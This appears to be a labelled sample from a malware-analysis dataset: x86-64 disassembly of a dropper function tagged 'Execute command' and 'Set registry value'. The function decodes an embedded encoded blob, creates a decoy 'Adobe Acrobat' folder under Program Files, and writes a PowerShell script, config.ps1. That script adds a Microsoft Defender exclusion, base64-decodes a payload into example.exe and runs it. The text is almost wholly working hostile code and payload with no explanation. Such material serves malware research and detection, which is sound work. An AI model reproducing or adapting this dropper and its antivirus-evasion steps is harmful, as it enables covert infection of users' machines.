Function at 0x100401080
Capabilities:
Execute command
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x2d8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2a0], rcx
mov qword [rbp + 0x2a8], rdx
mov qword [rbp + 0x2b0], r8
mov dword [rbp + 0x2b8], r9d
mov rax, rsp
mov rbx, rax
lea rax, str.mleCoTR6H__udouxFtg7ULGApL2KB5wmXyPqDJxCIfgwOR17xwP8uV8XhzhisRIOcKicCT1tQXYiGBr8oxCbdgNVWNCzhEdpIpV5_PEGdZQlFoQBwq9gUongEy4XQhduqHnNRjCI3b5MUAFsi4piogm__H_hF2HS458qh1XCWFxOu81oVYgc1vaDibN2WAWab9XjCq3EUvROpkHzpLf232LTPnanbqKuw5RjPsWxlXphOUV1y60VlGldKTgxMsKxt2g1awMVdAhHkTMQx9ylmCobdfCyFbBI6R5NWhGlk3QJe4pqMkoyCKVkg1ymdhqxwjAhGrqlIaa84E8tnoXsm4TTySis6Q5b9mchozsG5mEbzYeTMH2XJMjDsWyQjukNziyovibeWEoSg_2sPFlh2KjHCODnTz7rwwHycw1ovPmdSi2ahmUW7eYTXh0KwQx3YGW0Nov_VUsB98by9nR3gzTnOZkXV3csOZlVyztzXR9ib4VqYwSGy4sLYqaQ5nrbobfJthHhIWosinELhiMS4QXZTasv57iPPnE_YYLijKnmDBFh3OLu3uTs_YxLL9ZYLU4CawF9JAQxJDaOMPIj3kxdeDchm6hRUSUZLqZ7JuNmsOBWk0JHIqEnnacolK1zYcDWNrc_HYeirTskLv_frCpFpYj7NiSOW8d6QeoaHbQezwK7W3SMdGXPE6Cte8MEFwVP4RjO9OfPkk6jdZLQCLhCSTyfcDynlOZWh8_iPAFZYqPpViQYDrKx567rOUYgD0ZMJIh6tRnHr1J6TKacNJblddMeK9eCwjpoZH0oykJxSLJ9suiETZgauGguBKIoHCUeaMXT_SAvyktvugjIMIGnFXjwot7293Je2CLI5qkq7axTksLny7eLItngcd2UZYU58MjqgvOdAtO7AmO2wJ_Km2v7a5p_LBJFg7yiOCq46rVEEp_TiEBptMcTHG2TGq6WtZdNw7uOhpAiHO9JPii6hr78_IDZpeTYzyxnLSD9zEl9DXhdLm5tqR8vDVkiuaQ7TAHEwgIeSzE7JghfJpcCGUWwulHvFvoNWXfiLOBrxitnvVJVNMz0PEvMbQdPP27mAiuXMQ6ykjMMBnfIy4BcTlwedrjBWo7X764p4FF_q2p4PpMWbtFMA2YBnqV0e8WOfTGoaKmT4TOb5Lkhhh4MAjWjdg0hAXagxI8DantykbV2Zwktck6xkmycmFJAj4DgwEO8kWPrPplNQi_xhSYa0qVTc_CppWuzrBcYyKhN0YBm6L6l6dkVHow6jimo7JMZHJDNhw3vMOsqnmjJ4Sg2dzbLIVWoTpcdt9IJYP4SN2SZPzUJWAGSwQ_qdpdZObIwylEU0NRP1mRrlfJibI_pmpYbVuTgsUKg5IwQgeK7vAmcjHlOMVMbscRIHFgsg4XRd0qYF9Wb4pIARqDqbfomMi8bPrOgp5BIgFSsUsqdm2vM5XHz9axOn0YslplsUHL14ydgY3o9mfBLWEoc6RIrzYi2XdBZ1qMA_rpH8B8Lmm80ZmHYJY_YG4kQMLYyXu4jPXPeW_fTm0tpTmJkgXrG_nasrcomBudDqsc3mtBUP0Qpggbe77rIfSSFWRnAVH3ghwhrWeMrxyioPhlSO5NnrqmEl2nt84N06M6HTODMQoaTolM0jb4132D1ePBaJmb0if_Czoacwb3fFMIZxSh4JcGzhm8ccFA_Q2qBUza0uv3bqhrbQDGLSV54c99YfsnLh6BMF4aDL7I7pUaK9rVt8DlbXX1Q9zarqKXcsSwRvSyCS4P0QIto1IV2TTeVKWF1IHvAmbA6FMlWCKRuV4Czv4Pa79MR71dtI7CgmjteAoBI9GrOUGXdZgkRHrsYoRbwnNWaK0JW1w3N3bKVreHiYKFYEs8WQosz5LxxyQNkeIpJdXG1yeqiuYAqOvAm8fNpWBKqjdFgPEizFgeKHNQBaG1o49RPGsNLM3CMPtm912Y1gV3ih_DIiD7yCNnuEsw2mVUHWoccU39iInZpvXlUXoNhZ_T3oiQKfuk0a2KzVp3MPu3U5O17ZP5VGatlpgUZo6sFmoX91u5_Xu5RT0NEb84JujWUdHoqtBG4IjOWNLYB4Ej5erXDP9XwBFbhN_0IxKpL95nOcGb8E6p2LODgnllqAvCF0LtZNkG3Zco2EJiFAXFF39FCbAOLP39g11oMY8vqAbBdrfKWVV1qH48IoCcPD76RBxkSHEIvHo49Mr9rv1tfzu03ieCgFphHbysf8x1ZjcjVxjSsxFvHI3CF5afeTgdz9QrLhiIs3D9VqL2Sy3RYOkPEaFJkABSAeKpj9QsRrZN2sZRjJKb1eowb9z3pgUcoIxnvytMgrS0Y2qKBL45kQpoRWHjUZvtQqyBFTIGVfnkm5R10rA6nKTn0g10rLihlHPKsXqbcR4YJzuXdqfzFZxWXfuHiwWMrI2oOFGQav17UBGD7hUfJUoJfZA3pro34bFBWBx0vorwFhNWX9w5Muh_oK10pdQQtt91f15GJGhqnV_8GW3uhpwgHqLP5SFAMNGlghmt8EuFE3am6z_XFShv4EXXi7o1TkMdF9Taqlk8meQ5qlTfdqy80NWJij1To5xIrtkiy_ahLdQaUQHUaULGHNwZ7Ql3lg7qtjzfBbHZK8_dAw9iCE30sd87AYuRmqpbel2BVnFAAZaIm6vqmiF0d15pFmYZvJARmFlLeQ3Eaj7MGXJ41YwA05BWHJQWVY4Zmoo5RppYEvWDtybM_prI2MTe4Kv5LRZhVX6vHmbeu39XB8dA8satw9jBsvVftvU69PbUDbCGVSWAM9CXzbQzPidSDMP4gBWKwBqKyKdNClIr1gncyWERO0Gvqk7hXEH2ANaU3h49trgM3vQGKdqNrWHunpYL12Ll5UdbdB_Duu2eSOUjOnGSNMWnVZwElDXgR1zJUggdDDXr8FADwEx8MQOI_lXDPARlQ64v_IlReV8O8n_dO9aDlGuhgiOtzgKvzLreU2vpHidcnxrJRO3Mh36Nk6TaDFWXOiarRaMXYC9wHyHbsoPVkMRVHAZpSl0rh8fb_7sYIYuJ8Vw46spUoyoDn2PYmnYtey4t1kgJALGAtncGGhHACq2_YZCN0J049t8ahJJ8hU50EIH0GVBev0gJETnEjp_RRBR7GhuXOZSVnjzSH6LV5zQkJhyLKAdsxFLpryEOPnH2shgFhMDJuPea0566gzGOa5Egu1hBo_ABhcUL0IuJVEK6cBZG6Ew64VOVer9u4tROOaU3xDOoQKKPszEF70jcuZdTBFjb0hIVBcuP6sfHDlPh5jmk0dz3L3fOWG1hyJlUFcFURrAPW4v1x_YB6P45JvqP8i1dbpr9vSsXtPGDu8PUz0COV5vrfp0qlcRR7L4RKmz80vA5UTePzQxOLwxc2PHOSGsqEawHTDY2KtaDHUACdQ5byF4efJjevnKlfuaA6dExKBcRzHTtixAZ9MRz7qMChZo4nMn4Sm4JXLZinwGllw5DYzzhnTzOIQG_228OW2qUL1pl1DcZaW1WIcTW_3tpPJ18YLFR4f0YmJI6vjfrcx1cUYOCmx49OeLUAnBbOmuL_0qVatFgH6aRtsw_WiAHyF2UUA9WXsqXfeQe45D3y3bi1uc1jRowAaxl5PQA9VmaVf3z0pNzRzDt2_2cheJ4jt92mSJVNEt13hwRoQjvQYOw55t8RIT8RXpkEPYLkfpt3OFbf_dQsOFRvNLhq6cX5twzmGgGtTYMhKVExwwELFkW8YnlGvAGUyNkbdYtJDdiY4H3asTs5X_0t53ff7kPlhID8TbbEBPhjEU__C_Y0gMGpx3e6jNl595fKOKjrMRIHnFsbLi3t2sacZiUOoPKEJoFcLt3g7zkmvJSodfpOKuxIgqFm2B1_5LEXzNMa8hg8nzL3Vq8YnMlTKVr4B3fEx2OOITkF_Z3CYoHyKzreBjZPIFSxLI00TwX948EgIJCuZUvhe3FTWcyQXJKRK9YAvruQmwnpA_2Lq_QaK6ZQSEfi_W9evpApQ1cFXObNwc
mov qword [rbp + 0x248], rax
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1d8], 0
lea rcx, [rbp + 0x1d8]
lea rdx, [rbp + 0x1e0]
mov rax, qword [rbp + 0x248]
mov r8, rcx
mov rcx, rax
call fcn.100401571
mov rax, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x1d0]
mov rcx, rax
call fcn.100401c36
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x238], rdx
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0
mov r14, rax
mov r15d, 0
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.100402120
sub rsp, rax
lea rax, [rsp + 0x30]
add rax, 0
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sub.cygwin1.dll_strlen
mov rdx, rax
mov rax, qword [rbp + 0x1e0]
lea rcx, [rbp + 0xd0]
mov r8, rcx
mov rcx, rax
call fcn.1004019e0
mov rdx, qword [rbp + 0x1d0]
mov r8, qword [rbp + 0x230]
lea rcx, [rbp + 0xd0]
mov rax, qword [rbp + 0x240]
mov r9, r8
mov r8, rcx
mov rcx, rax
call fcn.100401ad1
mov rdx, qword [rbp + 0x1d0]
lea rcx, [rbp + 0xc8]
mov rax, qword [rbp + 0x230]
mov r8, rcx
mov rcx, rax
call fcn.100401706
mov qword [rbp + 0x228], rax
lea rax, [rbp - 0x40]
mov edx, 0x104
mov rcx, rax
call fcn.100401494
test eax, eax
je 0x100401215
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, str.Program_Files_path:__s_n
mov rcx, rax
call sub.cygwin1.dll_printf
jmp 0x100401224
lea rax, str.Failed_to_get_Program_Files_path
mov rcx, rax
call sub.cygwin1.dll_puts
lea rax, str.Adobe_Acrobat
mov qword [rbp + 0x220], rax
mov rdx, qword [rbp + 0x220]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1004014e3
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov rcx, rax
call fcn.1004013f6
test eax, eax
jne 0x100401270
lea rax, str.Folder_creation_successful.
mov rcx, rax
call sub.cygwin1.dll_puts
jmp 0x10040127f
lea rax, str.Folder_creation_failed.
mov rcx, rax
call sub.cygwin1.dll_puts
mov rax, qword [rbp + 0xc8]
add rax, 0xc8
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x210], rdx
mov r12, rax
mov r13d, 0
mov rsi, rax
mov edi, 0
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.100402120
sub rsp, rax
lea rax, [rsp + 0x30]
add rax, 0
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x218]
lea rdx, str.example.exe
mov rcx, rax
call fcn.1004014e3
mov qword [rbp + 0x200], rax
mov r8, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x218]
mov rax, qword [rbp + 0x208]
mov rdx, qword [rbp + 0x200]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x200]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
lea rdx, str.Add_MpPreference__ExclusionPath___s__n_data____s__n_dataBase64Bytes___Convert_::FromBase64String__data__n_System.IO.File_::WriteAllBytes___s____dataBase64Bytes__n___s_
mov rcx, rax
call sub.cygwin1.dll_sprintf
mov rax, qword [rbp + 0x218]
lea rdx, str.config.ps1
mov rcx, rax
call fcn.1004014e3
mov qword [rbp + 0x1f8], rax
mov rdx, qword [rbp + 0x208]
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.100401674
mov rax, qword [rbp + 0x1f8]
mov rdx, rax
lea rax, str.powershell__File__
mov rcx, rax
call fcn.1004014e3
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x1f0]
lea rdx, [0x100478a46]
mov rcx, rax
call fcn.1004014e3
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sub.cygwin1.dll_system
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.cygwin1.dll_free
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sub.cygwin1.dll_free
mov rax, qword [rbp + 0x228]
mov rcx, rax
call sub.cygwin1.dll_free
mov eax, 0
mov rsp, rbx
lea rsp, [rbp + 0x258]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret